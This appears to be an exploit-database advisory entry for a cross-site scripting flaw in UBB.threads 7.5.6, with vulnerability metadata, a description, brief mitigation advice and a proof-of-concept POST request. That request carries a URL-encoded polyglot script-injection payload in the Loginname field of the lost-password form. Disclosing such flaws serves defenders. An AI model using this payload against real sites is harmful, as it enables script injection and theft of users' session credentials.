UBB.threads Cross-Site Scripting Vulnerability

vendor:

UBB.threads

by:

SecurityFocus

7,5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: UBB.threads

Affected Version From: 7.5.6

Affected Version To: 7.5.6

Patch Exists: YES

Related CWE: N/A

CPE: a:ubb_central:ubb.threads

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

UBB.threads Cross-Site Scripting Vulnerability

UBB.threads is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically generate web content.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/51275/info

UBB.threads is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

UBB.threads 7.5.6 is vulnerable; other versions may also be affected. 

The following exploit data is available:

http://www.example.com/forums/ubbthreads.php/ubb/login/lostpw/1

POST /forums/ubbthreads.php
ubb=start_page&Loginname=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&Email=&buttforgot=I+forgot+my+password